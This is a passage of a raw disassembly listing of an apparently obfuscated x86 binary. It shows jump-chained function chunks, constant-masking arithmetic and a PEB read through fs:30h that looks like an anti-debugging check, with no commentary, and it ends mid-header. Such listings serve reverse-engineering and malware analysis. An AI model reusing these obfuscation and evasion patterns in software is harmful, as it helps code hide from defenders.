loc_42E4B5: ; CODE XREF: sub_42D434:loc_42A94Bj jno loc_42D58D jmp loc_427F29 ; END OF FUNCTION CHUNK FOR sub_42D434 ; --------------------------------------------------------------------------- loc_42E4C0: ; CODE XREF: wto1jq8f:loc_42E776j call sub_42669E ; START OF FUNCTION CHUNK FOR sub_42A237 loc_42E4C5: ; CODE XREF: sub_42A237+3j jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42A237 ; --------------------------------------------------------------------------- jle loc_42EEA9 jmp loc_42DA8D ; --------------------------------------------------------------------------- loc_42E4D5: ; CODE XREF: wto1jq8f:0042821Aj jz loc_425B9E ; =============== S U B R O U T I N E ======================================= sub_42E4DB proc near ; CODE XREF: sub_42ED01:loc_42A01Dp xchg ebx, [esp+0] pop ebx call sub_42F185 jmp loc_42D8D3 sub_42E4DB endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42E4EA proc near ; CODE XREF: wto1jq8f:00426412j ; sub_42628C+6CEDp mov [esp+0], edi pop edi mov eax, [ebp-4] push offset sub_429C18 jmp loc_42E0DC sub_42E4EA endp ; --------------------------------------------------------------------------- adc edx, eax jmp sub_428C0C ; --------------------------------------------------------------------------- dw 8B25h dword_42E504 dd 0 dword_42E508 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5FA loc_42E50C: ; CODE XREF: sub_42E5FA+12C3j jmp loc_42B388 ; END OF FUNCTION CHUNK FOR sub_42E5FA ; --------------------------------------------------------------------------- db 4Eh, 29h, 30h dword_42E514 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42E518: ; CODE XREF: sub_426535+BE9j jmp loc_42728A ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 0A5h, 2Bh, 15h dword_42E520 dd 0 ; sub_42FC50+7w dword_42E524 dd 0 ; sub_42A467r dword_42E528 dd 0 ; sub_424E0E+4w ... ; --------------------------------------------------------------------------- loc_42E52C: ; CODE XREF: wto1jq8f:0042FDA9j jmp loc_424147 ; --------------------------------------------------------------------------- db 53h, 0ACh, 82h dword_42E534 dd 0 ; sub_427143:loc_42B964w ... dword_42E538 dd 0 ; sub_426E98:loc_427A0Cw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42E53C: ; CODE XREF: sub_425944+40DFj jmp loc_42E563 ; END OF FUNCTION CHUNK FOR sub_425944 ; =============== S U B R O U T I N E ======================================= sub_42E541 proc near ; DATA XREF: sub_42C4E2+8A4o ; FUNCTION CHUNK AT 00428C4F SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042A582 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042E0E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E43A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EF19 SIZE 00000015 BYTES setz al call sub_426E98 pop ecx shl eax, 3 mov edx, [ebp+8] jmp loc_42E43A sub_42E541 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E555 proc near ; DATA XREF: sub_42F7AD:loc_42DE07o ; FUNCTION CHUNK AT 0042B028 SIZE 00000005 BYTES push ebp mov ebp, esp push ecx push offset loc_42501F jmp loc_42B028 sub_42E555 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42E563: ; CODE XREF: sub_42D765+Ej ; sub_425944:loc_42E53Cj mov eax, [ebp-4] call sub_42AA68 test al, al push offset sub_42459B jmp nullsub_139 ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42E577: ; CODE XREF: sub_42B8FC:loc_4291B4j not ecx pushf jmp loc_42739D ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B46 loc_42E57F: ; CODE XREF: sub_425B46+Aj rol eax, 15h mov ds:dword_42D5FC, eax retn ; END OF FUNCTION CHUNK FOR sub_425B46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42E589: ; CODE XREF: sub_429BFF+3E29j jmp loc_426C32 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42E58E: ; CODE XREF: sub_4269FD+6j ror eax, 15h pushf jmp loc_42F714 ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_42E597 proc near ; CODE XREF: wto1jq8f:004292D0j ; sub_42FBB5-5CDAp ; FUNCTION CHUNK AT 0042D658 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop ebx and eax, edx adc eax, edx jmp loc_42D658 sub_42E597 endp ; sp-analysis failed ; --------------------------------------------------------------------------- test al, al jz nullsub_44 jmp loc_42A26E ; =============== S U B R O U T I N E ======================================= sub_42E5B2 proc near ; CODE XREF: sub_42E5B2:loc_425CFAj ; sub_428DBE+8p ... ; FUNCTION CHUNK AT 00424BEA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425CFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280DB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429237 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042CDDD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EAD7 SIZE 00000005 BYTES mov edx, 1 lock xchg edx, [eax] or edx, edx jz locret_426EED loc_42E5C2: ; CODE XREF: sub_42E5B2-99C4j ; wto1jq8f:0042922Cj jo loc_429237 jmp loc_42CDDD sub_42E5B2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F9CA loc_42E5CD: ; CODE XREF: sub_42F9CA:loc_425A67j pop ebx mov ebp, offset loc_428B27 xchg ebp, [esp-10h+arg_C] retn ; END OF FUNCTION CHUNK FOR sub_42F9CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42E5D7: ; CODE XREF: sub_42BE69+B89j jmp loc_42BA74 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42E5DC: ; CODE XREF: sub_426E98+37j jmp loc_4261BC ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- sbb esi, 0BC4FEC76h jmp sub_42A35F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42E5EC: ; CODE XREF: sub_4266B1+96C8j mov [edx], eax xchg ebp, [esp+4+var_4] mov edx, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ACD6 loc_42E5F5: ; CODE XREF: sub_42ACD6+1748j jmp loc_42B543 ; END OF FUNCTION CHUNK FOR sub_42ACD6 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E5FA proc near ; CODE XREF: sub_428C71j ; FUNCTION CHUNK AT 0042B388 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042E50C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F8B4 SIZE 0000000E BYTES push ebp mov ebp, esp loc_42E5FD: ; CODE XREF: wto1jq8f:loc_42C215j jmp loc_42F8B4 sub_42E5FA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42E602: ; CODE XREF: sub_42C486:loc_42DB1Aj add edx, 0FC36FFEh push esi push 68C71EC9h pop esi sub esi, 954730CDh test esi, 2000000h jmp loc_42C285 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42E620: ; CODE XREF: sub_426C0C+84BEj and esi, ebx and edx, ebp jmp loc_4265DB ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- loc_42E629: ; CODE XREF: wto1jq8f:loc_42868Dj jnz loc_425E1B jmp loc_426E84 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42E635: ; CODE XREF: sub_429B76+3FD0j jmp loc_42C527 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B855 loc_42E63A: ; CODE XREF: wto1jq8f:loc_4269AAj ; sub_42B855+6j jmp sub_42992F ; END OF FUNCTION CHUNK FOR sub_42B855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2D loc_42E63F: ; CODE XREF: sub_42DD2D-4334j push eax retn ; END OF FUNCTION CHUNK FOR sub_42DD2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D882 loc_42E641: ; CODE XREF: sub_42D882+1Bj jmp loc_425B97 ; END OF FUNCTION CHUNK FOR sub_42D882 ; --------------------------------------------------------------------------- loc_42E646: ; CODE XREF: wto1jq8f:004290F3j jmp locret_42CDC4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E64B proc near ; CODE XREF: sub_42A202+Bp ; FUNCTION CHUNK AT 0042F143 SIZE 0000001A BYTES push ebp mov ebp, esp jmp loc_42F143 sub_42E64B endp ; --------------------------------------------------------------------------- push 0C3F88CD0h pop edx add edx, 5148B75h call sub_429165 push eax rol eax, 3 jmp loc_42A0A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42E66D: ; CODE XREF: sub_42AECEj push edi mov [esp-8+arg_4], ebp jmp loc_42A459 ; END OF FUNCTION CHUNK FOR sub_42AECE ; =============== S U B R O U T I N E ======================================= sub_42E676 proc near ; CODE XREF: sub_425A9E:loc_425EBDp ; FUNCTION CHUNK AT 00425EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428EC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429FF9 SIZE 0000000E BYTES mov [esp+0], eax loc_42E679: ; CODE XREF: wto1jq8f:loc_424400j push ecx push 0AEB25019h loc_42E67F: ; CODE XREF: wto1jq8f:loc_429DDEj pop ecx and ecx, 7E22BECFh jmp loc_428EC2 sub_42E676 endp ; --------------------------------------------------------------------------- locret_42E68B: ; CODE XREF: wto1jq8f:0042C459j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282A6 loc_42E68C: ; CODE XREF: sub_4282A6+7D0Aj jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_4282A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42E691: ; CODE XREF: sub_42F25F-3CFFj jmp loc_42A3B1 ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42E696: ; CODE XREF: sub_426E98+90j jmp sub_42F304 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425E35 loc_42E69B: ; CODE XREF: sub_425E35:loc_42824Fj xchg eax, [esp+4+var_4] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_425E35 ; --------------------------------------------------------------------------- add esi, eax jmp loc_424554 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42E6AA: ; CODE XREF: sub_42C486:loc_4245C3j ; sub_42C486-73DFj mov ecx, [ebp-18h] and ecx, 7 push 7A0D2D4Ah pop eax xor eax, 0FB4AA55Ch rol eax, 18h jmp loc_42DD90 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429F7D loc_42E6C4: ; CODE XREF: sub_429F7D+13j jg loc_429F70 jz loc_424485 jmp loc_42A21C ; END OF FUNCTION CHUNK FOR sub_429F7D ; =============== S U B R O U T I N E ======================================= sub_42E6D5 proc near ; DATA XREF: sub_424585+1D66o mov esp, ebp pop ebp retn sub_42E6D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42E6D9 proc near ; CODE XREF: sub_424585:loc_4262E3p mov dword ptr [eax], 0 retn sub_42E6D9 endp ; --------------------------------------------------------------------------- loc_42E6E0: ; CODE XREF: wto1jq8f:00429A18j jmp locret_42EBE9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_215. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42E6E6: ; CODE XREF: sub_4284EC+10j add eax, 0FD1D9705h mov eax, [eax] or eax, eax jnz loc_42A7D3 jmp loc_4287E6 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- loc_42E6FB: ; CODE XREF: wto1jq8f:0042A668j jz loc_42E986 jmp loc_42E327 ; --------------------------------------------------------------------------- loc_42E706: ; CODE XREF: wto1jq8f:004298C7j lea eax, [ebp-4] push esi or esi, eax jmp loc_428B00 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E712: ; CODE XREF: wto1jq8f:00428395j jmp loc_42C929 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E718: ; CODE XREF: wto1jq8f:0042431Aj jmp locret_42BF87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42E71D: ; CODE XREF: sub_42A909-335Fj call sub_42CB36 test al, al jz loc_424473 jmp loc_42B6CF ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D322 loc_42E72F: ; CODE XREF: sub_42D322:loc_42BEA8j push edi push 0BB0BF06Eh pop edi add edi, 4536D676h xchg edi, [esp+0] jmp sub_429165 ; END OF FUNCTION CHUNK FOR sub_42D322 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_42E744: ; CODE XREF: sub_425F4F+1466j jz loc_42AE44 jmp loc_42EAD2 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_42E74F: ; CODE XREF: sub_42F614:loc_42F048j jz loc_42D73B jmp loc_42DFA2 ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- locret_42E75A: ; CODE XREF: wto1jq8f:00424B25j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CFE2 loc_42E75B: ; CODE XREF: sub_42CFE2+Bj jmp loc_424000 ; END OF FUNCTION CHUNK FOR sub_42CFE2 ; --------------------------------------------------------------------------- loc_42E760: ; CODE XREF: wto1jq8f:0042A69Bj jmp loc_42F402 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42E765: ; CODE XREF: sub_4269FD+Cj jmp loc_42A717 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- add esi, 18688465h jmp sub_4248E6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_51. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42E776: ; CODE XREF: wto1jq8f:0042913Ej jmp loc_42E4C0 ; --------------------------------------------------------------------------- push 2296AEFCh jmp sub_42CEBE ; =============== S U B R O U T I N E ======================================= sub_42E785 proc near ; CODE XREF: sub_42DC5C:loc_42884Cp ; wto1jq8f:0042B9ECj ; FUNCTION CHUNK AT 0042A451 SIZE 00000008 BYTES mov [esp+0], ebx pop ebx rol edx, 1Fh call sub_42D71D loc_42E791: ; CODE XREF: sub_42970D-121j jmp loc_42A451 sub_42E785 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DA92 loc_42E796: ; CODE XREF: sub_42DA92-69D7j jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_42DA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42E79B: ; CODE XREF: sub_42A6CD-5A95j ; sub_42A6CD:loc_42A916j pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42E79E: ; CODE XREF: sub_42A6CD:loc_425E60j mov eax, ds:dword_429558 loc_42E7A3: ; CODE XREF: sub_42A6CD+1614j mov edx, [ebp-4] jmp loc_42EB14 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42E7AB: ; CODE XREF: sub_427143-F4Fj jnz loc_4292F9 jmp loc_429B95 ; END OF FUNCTION CHUNK FOR sub_427143 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42E7B6 proc near ; DATA XREF: wto1jq8f:0042EEC2o jmp loc_42D031 sub_42E7B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42E7BB: ; CODE XREF: sub_42C486-1681j jns loc_4240CD mov eax, large fs:30h add eax, 20h mov eax, [eax] test eax, 1 jmp loc_42E435 ; END OF FUNCTION CHUNK FOR sub_42C486 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E7D7 proc near ; DATA XREF: wto1jq8f:loc_42D469o push ebp mov ebp, esp call sub_42A202 sub_42E7D7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4269EF loc_42E7DF: ; CODE XREF: sub_4269EF+6j jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_4269EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6CD loc_42E7E4: ; CODE XREF: sub_42A6CD:loc_426E06j add edx, ebp add edx, 38EB0120h mov edx, [edx] popf mov byte ptr [eax+edx], 0 inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 100h jnz loc_425E60 jmp loc_42A916 ; END OF FUNCTION CHUNK FOR sub_42A6CD ; =============== S U B R O U T I N E ======================================= sub_42E808 proc near ; DATA XREF: sub_42D953+6o var_4 = dword ptr -4 push esi mov [esp+4+var_4], eax push 7 push eax push 0B889AD95h pop eax jmp loc_426EF3 sub_42E808 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42E81B: ; CODE XREF: sub_42A909-2A18j pop ebx and eax, 5C76A73Fh popf loc_42E823: ; CODE XREF: sub_42A909:loc_425098j call nullsub_224 jmp nullsub_238 ; END OF FUNCTION CHUNK FOR sub_42A909 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42E82E: ; CODE XREF: sub_42C6C3+1176j jmp loc_42E29C ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; =============== S U B R O U T I N E ======================================= sub_42E833 proc near ; CODE XREF: sub_4243D7+1E66p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424E93 SIZE 00000015 BYTES call sub_42DA92 loc_42E838: ; CODE XREF: sub_42B276-35F4j jmp loc_424E93 sub_42E833 endp ; =============== S U B R O U T I N E ======================================= sub_42E83D proc near ; DATA XREF: sub_4293FF:loc_4285DAo ; FUNCTION CHUNK AT 004269DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427FE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C3B7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C608 SIZE 00000013 BYTES push 4DA34993h pop eax add eax, 47DBBF71h add eax, ebp jmp loc_427FE4 sub_42E83D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42E850: ; CODE XREF: sub_4282C1:loc_424211j mov [ebp-10h], eax call sub_42B520 loc_42E858: ; CODE XREF: sub_42CB36:loc_42794Ej jz loc_42B0D1 jmp loc_42FAC5 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42609A loc_42E863: ; CODE XREF: sub_42609A:loc_428933j xor edx, 0D88E3D3Ch add eax, edx pop edx push eax mov eax, [ebp+8] jmp loc_42B334 ; END OF FUNCTION CHUNK FOR sub_42609A ; --------------------------------------------------------------------------- lea eax, [ebp-0Ch] ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42E878: ; CODE XREF: sub_426E98+47F1j call sub_42C0DF loc_42E87D: ; CODE XREF: sub_42C486+FA9j jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425944 loc_42E882: ; CODE XREF: sub_425944+19j jmp loc_42617A ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_42E887: ; CODE XREF: sub_42F614:loc_4269C6j test ecx, ebx jmp loc_424E6E ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42669E loc_42E88E: ; CODE XREF: sub_42669E:loc_428A9Fj or edx, 83E5A09Fh xor edx, 0D43E81E4h call sub_42D5BA loc_42E89F: ; CODE XREF: wto1jq8f:0042BAECj jnz loc_426706 jmp loc_426133 ; END OF FUNCTION CHUNK FOR sub_42669E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42E8AA: ; CODE XREF: sub_426D4F:loc_42C590j push offset sub_42DFF0 jmp nullsub_157 ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42E8B4: ; CODE XREF: sub_42F25F:loc_42428Fj mov eax, [ebp-18h] shl eax, 2 cdq push offset loc_42730E jmp nullsub_190 ; END OF FUNCTION CHUNK FOR sub_42F25F ; --------------------------------------------------------------------------- jle loc_424952 jmp loc_428BA7 ; =============== S U B R O U T I N E ======================================= sub_42E8D0 proc near ; CODE XREF: sub_424F7A:loc_425BF3p xchg eax, [esp+0] mov eax, [esp+0] rol eax, 14h push offset loc_428097 jmp nullsub_148 sub_42E8D0 endp ; --------------------------------------------------------------------------- push edi jmp sub_4246D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B990 loc_42E8E9: ; CODE XREF: sub_42B990:loc_42C8C1j mov eax, edx and ecx, ebx sub edx, ecx mov ebx, offset loc_42CCB2 xchg ebx, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_42B990 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2D loc_42E8F8: ; CODE XREF: sub_42DD2D+Fj jmp loc_42DF6E ; END OF FUNCTION CHUNK FOR sub_42DD2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42E8FD: ; CODE XREF: sub_42606D+352Fj jbe loc_429561 xor ebp, 0DED93C23h mov esi, [edi] jmp loc_42444C ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42E910: ; CODE XREF: sub_426968:loc_424D53j xor ecx, esi sub edi, ebx jmp loc_42D855 ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42E919 proc near ; CODE XREF: sub_42A5D5+12p ; wto1jq8f:0042E95Aj mov [esp+0], edi pop edi mov byte ptr [ebp-803h], 0 push offset loc_42F29F jmp nullsub_240 sub_42E919 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42E92E: ; CODE XREF: sub_427A8D:loc_426714j test edx, 424A1959h jmp loc_4286D8 ; END OF FUNCTION CHUNK FOR sub_427A8D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov edx, 92B16BD7h push offset sub_428AE5 jmp locret_42CF48 ; --------------------------------------------------------------------------- push 48E769C3h cdq jmp sub_42B12A ; --------------------------------------------------------------------------- jns loc_425D6F jmp sub_42E919 ; --------------------------------------------------------------------------- loc_42E95F: ; CODE XREF: wto1jq8f:004288D9j mov [ecx], eax ; =============== S U B R O U T I N E ======================================= sub_42E961 proc near ; CODE XREF: sub_42F25F-7FAFp var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004244C0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426A72 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C5D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042F1F4 SIZE 00000005 BYTES mov [esp+4+var_4], ebx pop ebx mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] jmp loc_4244C0 sub_42E961 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg ecx, [esp] jmp sub_42FB2F ; --------------------------------------------------------------------------- loc_42E97B: ; CODE XREF: wto1jq8f:0042E32Cj xor edx, 0FC92ED82h popf adc edx, ebp adc ebp, eax ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42E986: ; CODE XREF: wto1jq8f:loc_428625j ; wto1jq8f:0042B05Cj ... pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428295 loc_42E989: ; CODE XREF: sub_428295+Cj jmp sub_425BB4 ; END OF FUNCTION CHUNK FOR sub_428295 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426461 loc_42E98E: ; CODE XREF: sub_426461+17j jmp loc_42F9B6 ; END OF FUNCTION CHUNK FOR sub_426461 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42E993: ; CODE XREF: sub_429B76-59E6j ; wto1jq8f:00425E4Aj call sub_42CB36 jmp loc_42A022 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F7A loc_42E99D: ; CODE XREF: sub_424F7A+811Dj jnb loc_42F275 loc_42E9A3: ; CODE XREF: sub_429BD3+3C29j mov [ebx], edx test ecx, 0AAED04FCh jmp loc_42D3E8 ; END OF FUNCTION CHUNK FOR sub_424F7A ; --------------------------------------------------------------------------- loc_42E9B0: ; DATA XREF: sub_42C6F9:loc_42C706o or eax, eax jnz loc_424D89 ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_42E9B8: ; CODE XREF: sub_4262F5:loc_42475Cj call sub_427A8D mov edx, 0BD91ED44h push edx push 0DAB77A53h pop edx jmp loc_425F41 ; END OF FUNCTION CHUNK FOR sub_4262F5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_42E9CF: ; CODE XREF: sub_42F6A9-23Fj jmp loc_425C02 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_42E9D4: ; CODE XREF: sub_426350:loc_427C8Dj ; sub_426C04+5248j mov eax, [ebp-10h] mov eax, [eax+60h] add eax, [ebp-4] mov [ebp-14h], eax mov eax, [ebp-14h] jmp loc_42FD7E ; END OF FUNCTION CHUNK FOR sub_426350 ; =============== S U B R O U T I N E ======================================= sub_42E9E8 proc near ; CODE XREF: sub_42F384+Cp var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004241ED SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004247FF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00424AF6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425C4D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425EC7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425F8E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042600D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004265CF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426931 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A19 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426AF5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426BCB SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00427361 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00427782 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004277BE SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004277FF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042834C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042849E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 004284D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428669 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00428802 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428A8F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BE9 SIZE 0000000B BYTES ; 